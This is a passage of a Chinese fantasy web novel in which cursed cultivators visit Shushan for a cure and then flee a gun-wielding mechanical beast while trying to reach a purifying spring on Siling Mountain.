那些藤蔓都是阿萝以自身的力量召唤出来的,他一变成石头,那些藤蔓也渐渐枯萎了。步云邪摔在了地上,大口地喘着气,有种死里逃生的感觉。 不远处的亲兵中,有人被他看见了,也化作了石头。其他人见了这情形,怕的要命,纷纷逃走了。困着段星河的牢笼枯萎了,他斩断了枯枝,大步奔了过来。他扶起了步云邪,道:“你没事吧?” 步云邪摇了摇头,那些亲兵死的死,逃的逃,还有好几个人变成了石像。 段星河回头望了一眼,见阿萝的石像一副惊惶失措的模样。他的容貌虽然美丽,却永远停留在了那一刻。步云邪道:“怎么办,还要不要救他?” 段星河迟疑了一下,道:“救了他,他说不定还要来找咱们麻烦。” 步云邪道:“大悲寺关不住他,蜀山的锁妖塔总行吧?” 段星河道:“你就这么不想让他死?” 步云邪仿佛觉得他可怜,道:“他也受了不少罪……” 他话音未落,一个亲兵尚未死透,挣扎着爬起来,提刀朝伏顺砍了过去。伏顺吓了一跳,身上的触须舞动起来,到处乱挥,把那名亲兵活活拍死了。那些触手砸死了人还不消停,甩到一座石像上,把它卷起来重重摔出去,哐地一声摔成了碎片。 一时间谁也没说话,众人默然看着那碎了一地的石块,被砸碎的却是阿萝的石像。 它碎成这样,纵使神仙来了也救不了他。伏顺吓得脸都白了,身后的须子还在肆无忌惮地乱舞,他道:“不是我,我不是故意的……我控制不了它们……” 段星河的心猛地一空,仿佛有些难过,又有些说不上来的滋味。阿萝本来就魂魄不全,这样一碎,恐怕就要魂飞魄散了。从此三界六道,再没有这个人。对于他来说,存在便是无边无际的痛苦,或许一了百了,也是一件好事。 伏顺像做了错事一般,坐在地上瑟瑟发抖。他不仅为杀了阿萝害怕,也害怕自己身上这些不听话的触手,说不定什么时候,它们连自己都会杀了。 夜色深沉,众人的心情也十分沉重。阿萝虽然可恨,却也是个可怜人。段星河弯腰捡起一片石头,还不能相信他就这么死了。耳边仿佛响起了头一次在歌楼见面时,他说过的谶语。 “我啊……将来会死在一个无名小卒的手里。” 彼时他以为那只是一个轻巧的谎言,没想到很久之后,会以这样一种方式应验。 众人都受了伤,十分疲惫。周围静悄悄的,段星河道:“先休息吧,有什么事明天再说。” 他钻进了帐篷,昏倒似的睡了过去。次日过了午,众人才纷纷醒过来。地上还残留着打斗过的痕迹,昨天夜里发生的一切还在脑海中,却又像是很久之前的事了。段星河站在帐篷前,望着地上破碎的石像,心里还是有些不好受。 他挽起衣袖,从大车里拿了个铲子,在路边挖了个坑,把阿萝的碎片埋了进去。又在旁边挖了几个坑,把死的人都埋了。他在坟前静静地站了良久,想说些什么,最终还是沉默。 “看开点吧,”步云邪轻声道,“他命该如此,没有办法。” 有些人不想得到救赎,只想要解脱。这么消亡,对他来说未尝不是一件好事。段星河长长地叹了口气,心也悄然放下了。 他抬眼看向远处,巍峨的高山耸立在云中,轻声道:“走吧,蜀山就在前头了。” 车队往前走了数日,终于到了蜀山的地界。前方云雾缭绕,巍峨的高山隐没在云中,山中生满了松柏,还有些溪流和瀑布。穿过葱茏的植物和山间的流岚,隐约能望见一些宏伟的殿宇和剑阁楼台,一条石台阶笔直通向山顶。 几只白鹤从他们头顶飞过,啼鸣了数声,拍着翅膀向山上飞去了。 不愧是正道宗门的龙头,氛围庄严气派,与别处就是不同。李玉真抬头看着天空,感叹道:“真是一派清净之地。” 宋胡缨没说什么,却微微皱起了眉头。李玉真小时候跟师父来过这里,想起从前的事还有些感慨。宋胡缨抬头望着天空,道:“你不觉得有什么奇怪的东西在附近?” 天空有点阴沉,除此之外没什么异样。李玉真望着灰蒙蒙的天,道:“什么东西?” 宋胡缨也说不上来,只是一种感觉。她摇了摇头道:“没什么,可能是我多心了吧。” 巍峨的蜀山就耸立在他们面前,钟声悠悠传来,云气缭绕。山石峭壁嶙峋峥嵘,白练般的飞湍直下,气势磅礴。这不光是一座山,还承载着正道的千年基业,带着一股厚重的气息。 他们走了一年半才来到这里,对此处充满了敬畏之心。今天终于亲眼看到了蜀山,大家就像朝圣的人一般,百感交集。 赵大海感叹道:“总算到了,看在咱们这么虔诚的份上,那些老神仙肯定会帮咱们吧?” 六幺摸了摸下巴,道:“不好说,就这么空着手去不太懂事吧?” 他说的不错,神仙也要信徒和香火,不能白白给他们帮忙。众人都陷入了沉默,他们来的匆忙,居然把这个忘了。段星河寻思了一下,之前大幽皇帝给他们的一盘金子还没花,当做见面礼奉上,诚意应该就够了。 他在车厢里翻了 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步云邪也道:“我们走了一年多才来到这里,几位小哥行个方便,让我们上山去吧。” 他蒙着眼,旁边的伏顺弓着背,赵大海脸上蒙着布,隐约能看得出来他们的畸形之处。守山弟子生出了恻隐之心,道:“那你们跟我来吧。” 他们把大车停在山脚下,一个弟子带着他们向山中走去。 经过半山腰,山间的桃花都开了,灼灼的很是灿烂。蜀山中灵气充沛,草木也格外葱茏。别处还有些寒意,这里已经有仲春的气息了。这个世界由凤神和虺神共同创造,蜀山信仰的便是代表光明的凤神,而它座下的朱雀就镇守着此地。 四圣兽之中,他们已经见过三尊了。玄武在大幽化身为一座大山,长日瞌睡不问世事。白虎受啸山宗的人供养,为他们作恶。青龙则堕为了邪神,以活人的血肉为食。这最后一位朱雀不知道性情如何。段星河四下张望了一眼,接引弟子道:“看什么?” 段星河道:“听说陵光神君是这座山的守护神,不知道有没有机会一见。” 那弟子的神色微微一动,片刻道:“那是上古之神,极其尊贵,岂是你我想见就能随便见的。” 段星河不久前刚以射日弓射伤了青龙,也曾经在玄武背上撬过青苔,甚至还亲手摸过白虎的屁股,觉得四圣兽也没有那么高不可攀。他微微一扬嘴角,好像把什么都不看在眼里。 那弟子觉得这人有点傲气,他身为蜀山弟子一直颇为自矜,今日却隐隐觉得自己的气势输了他一头。他忍不住道:“你修为如何?” 段星河淡淡道:“在下不才,刚到元婴期。” 一般人要修到元婴期,极有天赋的也得五十来岁了,这青年却只有二十出头的模样。那人十分惊讶,没想到他还真有点能耐。段星河道:“阁下呢?” 那人反而有点不好意思回答了,道:“我就是蜀山的一个末流小徒弟,资质一般,才修到金丹后期。” 段星河道:“我的这些兄弟也在金丹后期,大家进境都差不多。” 这些人看起来路子都野得很,浑身都是肌肉,脸庞晒得黝黑,眼神也精明敏锐。他们不在山里专心修行,居然也能跟蜀山的弟子比肩。那接引弟子有些好奇,道:“你们是怎么练的?” 段星河漫不经心道:“就是来的路上斩妖除魔,有的时候是人家打我们,有时候是我们打人家,打着打着修为就上去了。” 那年轻人觉得这些人有些意思,道:“你们都除过什么妖?” 已经到了蜀山,告诉他们也无妨。段星河道:“什么样的都有。前阵子我们从月亮山经过,把拜月教抓去的人牲放走了,还赶走了他们供奉的青龙。” 那人惊讶的合不拢嘴,道:“啊……你们就是把满月盛会搅黄了的那些人?” 伏顺嘿地一声笑了,道:“你听说过?” “那可不,”那人道,“前几天就在正道上传满了,说有几个年轻人偷摸潜到月亮山,把那帮邪修的祭祀搅得一塌糊涂,还把青龙古神射伤了,就是你们?” 段星河道:“是我们干的。” “厉害啊!”那人看他们的眼神都不一样了,兴奋道,“这种事一般人连想都想不到,你们怎么敢的?” 段星河笑了,心想也不是特意要做这么危险的事,那不是箭在弦上了么,都是为了活命被逼的。 那人见段星河没说话,越发觉得他高深莫测了。自己刚才还觉得这青年有点傲气,此时又觉得他立了这么大的功德,就算架子大一点也是应该的。他拱手道:“在下吴祎,是蜀山第二十八代弟子。我平生最爱结交英雄豪杰,段兄,交个朋友?” 段星河道:“那再好不过。” 吴祎跟传闻中的英雄成了朋友,觉得与有荣焉,羡慕道:“你们能出去行侠仗义,真好啊。我倒是也想出去,只是本事有限,只能一直在山里待着。” 伏顺动了动背上的须子,苦恼道:“也没什么好的,我们现在被诅咒了,都是被那青龙害的。” 吴祎恍然大悟,原来这些诅咒是这么来的。他顿时道:“掌教真人一直很欣赏你们这样有正义心的人,既然你们是捣毁拜月教的英雄,他肯定会帮你们的。” 几人说着话,来到了山顶的昭元殿。大殿修建的庄严华美,屋檐上覆着金色的琉璃瓦,汉白玉台阶通向殿内。吴祎进去通报了,众人等待片刻,他出来道:“请进吧,掌教真人在里面。” 走了这么久,终于要见到他们想见的人了。段星河深吸了一口气,有些紧张,又充满了期待。 众人走了进去,见上首站着一个身穿紫袍的老道长,白发白须,看起来有七十多岁了。他身材清癯,神光内敛,额头上生着一块巨鳌伏犀骨,垂着一双长长的寿眉,凤眼中透着一股端严的气质。 修道之人都显得比本来的年纪轻,听说他已经有五百多岁了,修为也已经到了炼虚阶段。蜀山是正道的中流砥柱,在天玺真人的执掌下一直公正祥和,门下也培养了许多侠义之士。这些年来,他率领蜀山和浩荡盟一起对抗邪派,维持着这个世界的平衡。众人见了他,都肃然起敬。 段星河向蜀山长老行礼,道:“拜见天玺真人,晚辈段星河,这些是我的同门和朋友,我们从大幽钦天监而来。” 其他人也纷纷行礼,道:“拜见天玺真人。” 天玺真人看这些年轻人都像孩子一般,神色平静道:“你们来找我,有什么事么?” 98.清净泉 一 司空玉从六幺手里接过一把琴,捧着上前道:“晚辈司空玉,是大新太平侯司空悬的妹妹。家兄托我给前辈送一把九霄环佩琴。他说广陵散他已经学成了,来日他会再访蜀山,与前辈请教琴艺。” 司空悬之前出来游历时,路过蜀山,曾经蒙天玺真人指点过琴艺。老仙师看他醉心于奏琴,便赠了他一本广陵散曲谱,是极其难得的真本。司空悬很感激,这次妹妹出来游历,便让她来蜀山拜见老仙师,以珍藏的名琴还礼。 天玺真人神色淡淡的,道:“好,多谢你了。” 一名弟子上前来,替他把琴收下了。司空玉大老远抱着琴来,他却连看都不看一眼,不免有些失望。她听哥哥说天玺真人极其爱好名琴,痴迷程度与凌烟阁主不相上下。可今日一见,他却好像对琴没什么兴趣,苍老的面庞就像一口古井,波澜不兴。 司空玉下意识看了六幺一眼,六幺摇了摇头,示意她东西送到了就行了。司空玉寻思着可能世外高人都是如此喜怒不形于色,便退到了一边。 天玺真人看向了段星河,道:“你们就是铲除拜月教的人?” 刚才吴祎通报的时候,已经把他们的事都跟掌教禀明了。拜月教距离巴蜀很近,常日作乱,让蜀山的弟子也很头疼。如今段星河等人杀了张夜来,把拜月教铲除得一干二净,给蜀山帮了很大的忙。段星河道:“正是。” 天玺真人点了点头,欣慰道:“很好,果然是英雄出少年。我素来听说钦天监只为大幽皇帝办事,没想到也出了你们这样的侠义之士。” 段星河道:“不敢有瞒掌教真人。我们本来不是这个世界的人,是从外面来的。” 天玺真人微微扬眉,愿闻其详。段星河道:“晚辈的师门叫逍遥观,在另一个世界。我不慎被虺神施以诅咒,身体被煞气侵蚀,十分痛苦。晚辈听说前辈的修为高强,慈悲为怀,便从大幽来到这里,想请前辈救治。” 他说着回头示意,赵大海把木盒捧了过来。他打开木盒,露出了黄澄澄的二百两黄金,态度极为恭敬。 段星河道:“还有我的这些兄弟,在月亮山也中了邪神的诅咒,求掌教真人一并治疗,这些权作诊金了。” 天玺真人一拂衣袖,平和道:“你们既然铲除了拜月教,又救了不少百姓,便是正道的朋友。钱就不必了,你们收起来吧。” 他的态度慈和,着实是一位可靠的长者。他道:“你们身上哪里不舒服,给我看一看。” 赵大海摘下了脸上包着的白布,露出了满脸的眼珠子。宋胡缨露出了木耳一样堆积的耳朵,六幺露出了二十根手指头,伏顺脱下了外套,露出了背上的触手。步云邪摘下了蒙眼布,却一直闭着眼,不敢看任何东西。 那情形极其诡异,仿佛最离奇的噩梦裂开了一道缝,里头的各种怪物钻了出来。不光天玺真人,大殿里的其他几个弟子也十分震惊,没想到他们中的诅咒居然这么严重。看来那青龙古神真不是好得罪的。 天玺真人上前摸了摸赵大海的眼珠子,又伸手在他面前晃了晃,眼珠子跟着来回乱转。他又看了看伏顺的触手和宋胡缨的耳朵,最后来到了步云邪跟前,道:“这位小友,为何闭着眼睛?” 步云邪道:“前辈见谅,晚辈的眼睛中了青龙的诅咒,变成了邪神之眼,会把看到的东西变成石头。” 天玺真人平静道:“无妨,你睁开眼睛来。” 步云邪的睫毛微动,缓缓睁开了眼,也不敢看天玺真人,只是把目光落在了一旁。天玺真人见他的眼睛变成了银色的,瞳孔变成了一道黑色的竖线,跟那条青龙的眼睛一样。 这些年轻人是惹上大麻烦了,他叹了口气,道:“蒙上吧。” 天玺真人回头看着段星河,道:“手伸出来。” 段星河伸出了手,天玺真人搭了他的脉搏,表情凝重起来。别人的问题还只在表象,这少年的问题深藏在内,他的灵魂受到了一股强大的力量的冲击,随时会畸变成一头疯狂的野兽。 他道:“变成这样有多久了?” 段星河道:“一年半了。” 能强行控制这股邪力这么久,这年轻人的意志力也十分了得了。天玺真人道:“什么感觉?” 段星河想起了发作时的情形,皱眉道:“有时候很烦躁,浑身灼热、疼痛、皮肤撕裂,情绪会变得不像自己,力量却会变得很强大,同时也会短暂地失控,甚至不记得这段时间里做了什么。” 天玺真人道:“发作的频繁么?” 段星河道:“一开始控制不好,发作过三四次。后来能压制住了,心里还是躁动不安。而且压抑的久了,爆发的时候更加丧失理智。” 天玺真人道:“杀过不少人?” 段星河沉默了片刻,道:“杀的都是该死之人。晚辈谨记家师的教导,从来没有错伤过一个好人。” 天玺真人道:“尽量少造杀孽,否则这诅咒侵蚀得更快。” 段星河也知道如此,点了点头。天玺真人沉吟了良久,仿佛觉得很难解决。他旁边一名中年男子道:“师尊,可有法子?” 这人是天玺真人的长徒,名叫刘伯桥,他长着一张四方脸,目光深邃,看起来也就是五十出头的模样,正在年富力强的时候。如今蜀山中年轻一辈的弟子都是他的徒弟,教中的事务大多也由他处理。 众人望着掌教,把所有的希望都寄托在他身上。天玺真人开口道:“蜀山的东北方有一座山叫做四灵山,山顶有一个清净泉,是凤神曾经在人间饮水的地方,具有圣洁的力量,可以解除一切邪恶的诅咒。” 伏顺等人登时激动起来,觉得自己有救了。天玺真人缓缓道:“只是数月前,千机门的怪物占据了四灵山,掠夺那里的灵气,伤害了不少修行的道友。我最近修炼气滞,暂时无法前去驱赶它,派门下弟子去过几次,都不是那怪物的对手。” 刘伯桥在旁边点了点头,神色凝重。不久前他亲自去过一次,也没能把它赶走,看来那怪物确实很棘手了。 天玺真人看着众人,道:“如果你们能赶走那头怪兽,用山上的泉水沐浴,就可以消除身上的这些畸变了。” 众人一时间沉默下来,若是连蜀山的大能都拿它束手无策,那应该是很难对付的家伙了。 不管怎么样,有机会总要去试一试。段星河道:“多谢掌教真人指点,我们去四灵山走一趟。” “等一下,”天玺真人道,“我说能够祛除的,只是他们身上的诅咒。” 段星河本来心中还有些希望,此时心沉了下来,道:“那我……” 天玺真人道:“你身上的诅咒是虺神下的,只有跟它共同创世的凤神才能解除。凡人的力量有限,就算凤神在面前,也无法感知到它的存在。只有登阶之后,才能得到它的赐福。” 同样的话,燕丘的萨满也曾经说过。段星河沉默下来,面前的老宗师都已经六百多岁了,尚且没能登阶成仙,难不成自己要修到白发苍苍,才能够摆脱诅咒么? 他的神色黯淡下来,道:“那要如何登阶?” 天玺真人明白他的心情,道:“登阶不是一朝一夕的事,你若是不嫌弃,可以在我蜀山修行。就算段时间内没有进境,至少能够控制住状态。” 段星河沉默下来,知道除此之外也没有更好的办法了。他看向身边的其他人,就算自己难以治愈,兄弟们还是有希望的。不管怎么样,还是先把别人身上的畸变解除再说。 他拱手道:“多谢掌教真人,我们这就去了。” 天玺真人微微点头,道:“多加小心,我等你们回来。” 巴蜀地界灵气充沛,在此处修炼的散人甚多,花木鸟兽化作的小妖也有不少。此处是凤神的领地,大家都性情平和,妖物也并不作乱,反而还经常帮助当地百姓,以图早日得道。 这里跟夷州那种光怪陆离的状态截然相反,到处都是一片宁静祥和,如同来到了世外桃源。然而最近随着千机门的入侵,巴蜀的上空蒙上了一层阴霾。千机门放出的怪兽为了抢夺灵修的宝地,到处攻击异己。散修们被驱赶的流离失所,小妖们更是被赶尽杀绝,连一点活路也没有。 段星河等人在路上走了一天,就见到了两波人,都是从北边逃过来的。一个中年道士带着两个小道士坐在路边,正在啃干粮,灰头土脸的十分狼狈。 段星河从马车里探出了头,道:“这位道友,请问四灵山就在前头么?” 他们好像受了不小的惊吓,一见了人就十分紧张。小道童炸毛道:“你想干什么?” 段星河有点莫名其妙,道:“问路啊,几位是遇见强盗了么?” 中年道士见这些少年人一身正气,态度也算有礼,这才放松下来。现在那边就像火山地狱一般,别人都急着往外逃,他们反而上赶着要去找麻烦,也是怪了。道士道:“你们去四灵山做啥子?” 段星河直接道:“我们听说那边有千机门的妖物,想过去除妖。” 那道士很是惊讶,上上下下仔细地把他们看了一遍,不知道这些少年人有多少本事,居然敢迎难而上。他一拍大腿道:“可去不得,山上的人都跑光了,我们就是从那边来的。那铁皮怪物厉害得很,手里拿着两尊火炮,见人就轰,还说什么人生苦短、机械飞升,你们这些娃儿可千万别去找麻烦!” 段星河之前就见过千机门的机关兽,那玩意儿如同哪吒脚踩风火轮,一炮轰死一片万象门的伥鬼,确实凶残得很。从前千机门对他们的态度一直都是井水不犯河水,如今终于要对上了,段星河也感到了压力。 他道:“你们这是要去哪儿?” 道士道:“我们的道场被人抢了,师兄弟也死了好几个。我心里气不过,打算去蜀山请天玺真人做主,帮我们讨回公道!” 蜀山是正道的龙头,各门派出了事,都要去找老大哥撑腰。然而段星河刚从蜀山出来,知道那些老道长现在也爱莫能助,要不然就不会让他们自己去碰运气了。 他没再说什么,道:“好,那有缘再会。” 这些年轻人明知山有虎,偏向虎山行,胆子简直比天还大。道士看着他们往前走了,露出担忧的神色,叹了口气道:“好言劝不住该死的鬼,那里可是要命的地方,可别怪我没提醒过你们。” 沿着大路往东北方向走了一日,就见远处有一座高山耸立在云雾之间。那座山的上空笼罩着一层乌云,仿佛有什么东西张开了一张大嘴,贪婪地吸收着周围的灵力。 魏小雨感觉身上仿佛开了道口子,手脚变得沉重起来,道:“好难受啊,” “是那怪物作祟。”步云邪虽然看不见,感觉却比一般人敏锐,“千机门派它来,就是抢夺此地的灵力的。” 他抬头向着天空,黑沉沉的云层中有个旋涡,正在源源不断地吸收着周围的力量。天地山川、修道之人以及花草树木,一切有生命的东西都是他们掠夺的对象。 李玉真道:“他们不是靠邪力作为能量的么,怎么改吃素了?” 六幺道:“做坏事也要成本的,与其费那个劲儿,不如抢现成的省事。” 虽然与万象门同出于虺教,但千机门的教主醉心于机关术,除了机械飞升之外,对别的事一概不感兴趣,平日就靠弟子供奉的融合兽提炼邪力作为能源。他上了年纪,懒得兴风作浪,若是能量不够用了,便放出机关兽去掠夺一些天地灵气。此地的灵力充沛,也难怪千机门的人盯上了这里。 天色还早,他们把车停在了山下,沿着山路走了上去。 山顶有个小道观,门匾上写着白云观三个字,已经被轰的歪在了地上。这里应该就是他们在路上遇见的那几个人的道场,山墙被大炮轰塌了,房子也被炸塌了好几座,地上还有些弟子的尸体,空气中布满了硫磺的味道,到处都满目疮痍,惨不忍睹。 “真作孽啊……” 赵大海皱起了眉头,道:“这跟强盗有什么区别?” “没区别啊,”伏顺道,“千机门的人本来就不是什么好东西。别看他们平时人模狗样的,抢起东西来一点也不含糊。” 段星河抬头望着空中的那个不停旋转的气流,寻思着血肉之躯跟火炮没法抗衡。他们的目的是拿到泉水,连蜀山长老都对付不了的怪物,他们也没必要去碰硬。 他道:“去找找那个泉水,尽量多取一点,拿了就跑。” 众人觉得这是个好法子,跟着他出了道观,尽量不想引起敌人的注意。天玺真人说那个灵泉在后山的山顶,段星河把墨墨放了出去,低声道:“看看附近有没有泉水,小心点别被发现了。” 墨墨悄悄地钻进了草丛里,不仔细看就像一头小野猪。众人在树丛里等了一阵子,就见墨墨迈着小短腿奔回来了。段星河道:“找到了么?” 墨墨扬起了鼻子,啾地叫了一声。段星河心中一喜,道:“带我们去。” 墨墨在前头带路,众人跟着它穿过了一片树丛,闻见了一股清凉的水气。此处是四灵山的最高处,山顶有一片空地,几块岩石垒在周围,正中央有个清澈的水池,里头三股泉眼正在骨突突地冒着泡。 众人顿时激动起来,伏顺热泪盈眶道:“娘啊,我终于有救了!” 他掏出了腰上的葫芦,一个箭步蹿了过去。其他人也纷纷摘下葫芦和水囊,朝泉水奔过去。头顶忽然刮起了一阵狂风,众人都被吹得东倒西歪的,站也站不住。魏小雨抱住了一棵大树,道:“我的天,哪来的风?” 伏顺手里的葫芦没拿住,叽里咕噜地滚到山崖下去了。他恼怒道:“怎么回事?” 众人抬头向上望去,就见那个漩涡渐渐停止了转动。云层之中,有什么东西降了下来。沉重的钢铁身躯足有一丈高,如同一个穿着铠甲的巨人,却是千机门的机关兽。巨大的阴影笼罩在他们身上,散发出沉重的压迫感。 “发现入侵者——” 魏小雨不服气道:“谁是入侵者,你才是吧?” 机关兽低下头,红色的眼睛嗡地一声亮起来,锁定了地上的人,缓缓抬起了右手。 咔嚓一声,圆盘上的六根枪管黑洞洞地露了出来,瞄准了他们的方向。 众人顿时感到一阵头皮发麻,刹那间身体都僵硬了。李玉真下意识道:“快跑……它要开火了!” “哒哒哒哒哒哒哒哒——” 圆盘不断转动,火花闪烁。机关兽人狠话不多,不管三七二十一直接开火。 段星河等人连忙就地打滚飞扑,四下躲开了。机关兽漂浮在半空中,居高临下地追着他们扫射。伏顺躲在一块大石头后面,看着迸溅的火花,浑身的汗毛都竖起来了。 “妈的,这是哪个疯子搞出来的!” 子弹打在地上就是一个坑,打在身上半条命就没了,要是挨上两枪,登时就要被物理超度。他们来之前,只知道这边凶险,可没想到有这么夸张。 天外天不止有一个大陆,在海的另外一边,还有罗刹人居住的大陆,那边的人金发碧眼、高鼻深目,亦有他们信仰的神。与这边的道家玄学之术齐头并进发展的,是他们的科学。段星河听过那边的事,知道他们以蒸汽作为动力驱动齿轮,构筑了一个钢筋铁骨的世界。 之前在钦天监就有不少西洋进贡的自鸣钟、八音盒,还有千里镜。段星河拆开来看过,觉得一个个齿轮大大小小的互相咬合嵌套,挺有趣的,可没想到这玩意儿用来攻击人,居然有这么大的力量。 千机门的教主居住在北边的海岛上,跟他们学了不少东西。他觉得蒸汽机的力量太小,体积却庞大笨重,用起来很不方便,干脆摒弃了他们的内核,以天地五行之力作为灵核,弄出了这些人不人鬼不鬼的东西。 那机关兽扫射了一阵子,稀里哗啦地落的满地都是弹壳,冷却枪口地停了下来。它缓缓开口道:“杀生为护生,斩业非斩人。人生苦短,机械飞升——” 赵大海的头上被崩了道口子,血淌的满脸都是,愤愤道:“它还有功夫传教,人都要被它打死了。” 伏顺道:“它不是要传教,是嘲讽咱们呢。不信你举白旗出去试试,看它收不收你。” “算了吧,”赵大海道,“我一辈子铁骨铮铮,怎么能向这种怪物求饶?” 子弹擦着他们的头皮飞过,李玉真头上的道冠都被崩了,差一点就去见三清。他披头散发的,慌张道:“什么时候了,你们还有心情聊天。赶紧的决定,要走还是打?” 泉水就在前面,这怪物却堵在这里,让他们望眼欲穿,就是过不去。大家都不愿意就 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云层中传来一声啼鸣,天空中降下了两只机械仙鹤。两个千机门的道士坐在鹤背上,笑吟吟地看着他们狼狈的模样,道:“怎么样,我们千机门的神通如何啊?” 众人说不出话来,背后却已经被冷汗湿透了。一个道士眯起眼来看着段星河,发现这小子身上的灵力充沛,便想把他的力量抢夺过来。他使了个眼色,另一个人心领神会,骑着仙鹤一左一右拦住了他们的去路,机关兽在正前方漂浮着。 好汉不吃眼前亏,段星河知道硬打不是他们的对手,道:“有话好说,我们就是过路的。我认得你们的大师兄,他叫渠阳子,他和你们的少主还请我们喝过酒。” 一名道士嗤之以鼻,道:“认得我们大师兄的人多了去了,谁知道是真的假的。” 另一名道士也道:“打不过就想攀交情,晚啦。小乖乖,给他们点颜色瞧瞧——” 机关兽举起炮筒,又是一炮轰了过来。这一炮轰倒了一棵老松树,大树倒了下去,尘土溅的到处都是。段星河提着幽冥剑掠过去,重重一剑砍在了机关兽身上,却只在它的铁肚皮上留下了一个白印子,甚至连凹陷都不怎么看得出来。那两个道士哈哈大笑,道:“蚍蜉撼树,不自量力!” 这钢铁怪物太难对付了,段星河一个翻身落在地上,意识到再打下去实在不是明智之举。他喊道:“撤撤撤——赶紧撤!” 性命要紧,其他人纷纷向山下跑去。段星河和六幺留在最后,保护其他人撤退。 宋胡缨提着斩马/刀,也想断后。李玉真拉着她道:“快跑,段兄他们理会的了!” 能走一个是一个,段星河回头望了一眼,见赵大海扛着魏小雨早就跑远了,松了口气。六幺喊道:“保护好县主!” 宋胡缨应了一声,护着李玉真和司空玉她们往山下跑去。那两个道士对别人也不感兴趣,就是馋段星河身上萦绕的那一层若有似无的煞气。一人道:“小乖乖,拿下那穿蓝袍的小子,要抓活的哦。” 机关兽的目标锁定了段星河,背后一块硕大的铁皮翻起来,从里头飞出了几个带抓钩的飞索,嗖嗖地朝他射了过来。段星河一跃而起,躲过了两道钩锁,第三道钩锁横里飞了过来,擦着他的肚腹划了过去。六幺一剑挡在他身前,猛地把钩锁斩断了。 段星河差一点就被抓住了,出了一身冷汗,道:“多谢。” 六幺道:“赶紧走!” 两人一起往山下奔去,机关兽脚下火光四射,喷着气朝他们追过来。两个人跑的上气不接下气,那两个道士却骑着仙鹤十分悠然,一副看戏的姿态。段星河气得不行,那两个人也不过金丹期水平,仗着有机关兽,就把他和六幺撵成这样。 那机关兽很快就追上来了,抬起右手的机枪,对着他们一阵扫射。 “哒哒哒哒哒哒哒——” 段星河跟六幺听着身后的射击声,一路没命地奔跑。雨点似的子弹追着他们的脚后跟,射的满地都是弹坑,始终差他们一步。那鬼玩意儿瞬息间能打上千颗子弹,极其逆天。肉体凡胎再厉害,体力始终有耗尽的时候,根本跟它耗不起。 段星河跟六幺喘着气,头发都被汗水打湿了。两个人互相看了一眼,知道彼此都已经到极限了。 “怎么办?” 段星河喘着气道:“你先走,我死不了。” 关键时刻容不得半点犹豫,那两个人说要抓活的,段星河至少不会有生命危险。六幺还要保护县主,也不耽误功夫,果断拔腿往山下奔去。 他的身影矫健的如同一头豹子,窜入树林几下子就不见了。子弹射了过来,段星河一个翻滚躲过了一波攻击,已经筋疲力尽了。那怪兽飞到了他跟前,伸出了几道钩锁,道:“目标即将抓获,请求指示——” 这时候就见一道金色的灵光朝这边冲过来,嗡地一下子护住了段星河的身体,把钩锁弹了回去。那机关兽骤然被击退了一段距离,歪了一下铁皮脑袋,仿佛有些疑惑,不知道发生了什么。 段星河回头望去,就见步云邪不顾危险,居然来接他了。 步云邪就知道六幺那小子靠不住,幸亏自己回来了。他一把拉住了段星河,道:“快跑!” 两个人撒腿往山下奔去,段星河感觉一双腿都不是自己的了,耳边只有心跳声,噗通、噗通,每一次喘气都像有血从喉咙里涌出来。 步云邪也已经到了极限,还是跌跌撞撞地往前跑。之前在月亮山谷,段星河就已经见识过他跑路的能力了,知道他的体力比自己想象的要强得多。头顶传来一声鹤唳,那两个道人骑着仙鹤追了过来。一人大声道:“小乖乖,在这儿呢。” 一道阴影从天而降,那头机关兽拦住了他们的去路。两人实在跑不动了,段星河撑着膝盖喘着气,哑声道:“没辙了,明年这时候记得给我多烧点纸。” 步云邪咳嗽了几声,道:“呸……乌鸦嘴。” 段星河知道自己今天难逃一劫了,心里有些说不上的滋味,道:“你说好端端的,你回来干什么……” 步云邪没说话,其他人都已经逃远了,他们能靠的只有自己了。可他们现在一点力气也使不上,若是被这些妖人抓去了,肯定也没什么好结果,还不如赌一把。 如今他能用的只有邪神之眼了,就算为此要付出沉重的代价,他也认了。 步云邪沉默着,缓缓抬起手,扯下了眼上蒙着的白布—— 他睁开了银色的双眼,注视着面前的机关兽。一阵阴风骤起,耳边隐约传来古神的低语。步云邪的发丝在风中不住飘荡,眼中透出一股强烈的邪气,一圈圈荡开,如浪涛一般要吞没视线中的一切。 那机关兽不知道这双眼睛的厉害,还敢与他对视。霎时间,它像是被慑住了一般,脚下的喷气筒渐渐熄灭了,身上的铁甲覆盖了一层石头,渐渐向上蔓延开去。 它变成了一块巨大的石头,轰地一声砸在了地上。旁边一个道士也暴露在邪神之眼的视野内,感觉身体十分沉重,仿佛不能呼吸了。 “怎么回事……” 他话音未落,身体已经变成了石头。他乘坐的铁皮仙鹤也落在了地上,半边翅膀摔得粉碎。 另一个道士吓了一跳,道:“你们用了什么邪术!” 他自己用机关兽碾压别人,还嫌别人用邪法。段星河不敢多耽误,拉起步云邪拔腿就跑。两人跑出去没多远,就听身后哗啦哗啦几声响,那机关兽体内爆发出一阵红光,把铁皮外面石化的部分崩裂开来,又恢复了一开始的模样。 “失去目标——请求指示——” 它无机质的声音回荡在山林里,一双红色的眼睛到处扫视,试图寻找他们的身影。 段星河连忙一猫腰,拽着步云邪钻进了旁边的树林里,向山下跑去。步云邪的眼里一阵阵模糊,视线颠倒错乱,黑暗从四面八方侵袭而来,渐渐吞没了光明。 他没想到自己用尽了全力,也只能耽搁它片刻,根本没办法制服那个怪物。他的心渐渐沉了下去,意识到这个世界中力量超过他们的人太多了,自己的牺牲对于那些大他者来说根本不值一提。 那个石化的道士彻底摔成了碎片,已经死的透透的了。另一个道士又气又急,却找不到他们的踪影,恨声道:“敢杀我师弟,你们给我等着,我跟你们没完!” 99.清净泉 二 一行人从四灵山上逃了下来,都灰头土脸的。司空玉在大车旁边等了一阵子,见段星河一直没下来,有些不安。她道:“段大哥呢?” 六幺一时间没说话,李玉真也担心起来。他往前走了几步,道:“怎么还不来?” 赵大海道:“二师兄怎么也没下来?” 这时候就听树丛中窸窸窣窣的,传来一阵脚步声。众人心中一喜,以为他们来了。伏顺钻进树丛里,道:“大师兄,你来了……咦?” 一个老道士一瘸一拐地从山上下来,他的头发斑白,有六十多岁年纪了。他身后背着个包袱,猫着腰从树丛里钻了出来。 他见了这么多人,也吓了一跳,连忙双手合十道:“大王别杀我,我什么也不会,就是一个老废物而已!” 伏顺没想到不是段星河,失望道:“什么大不大王的,你这老头儿是谁?” 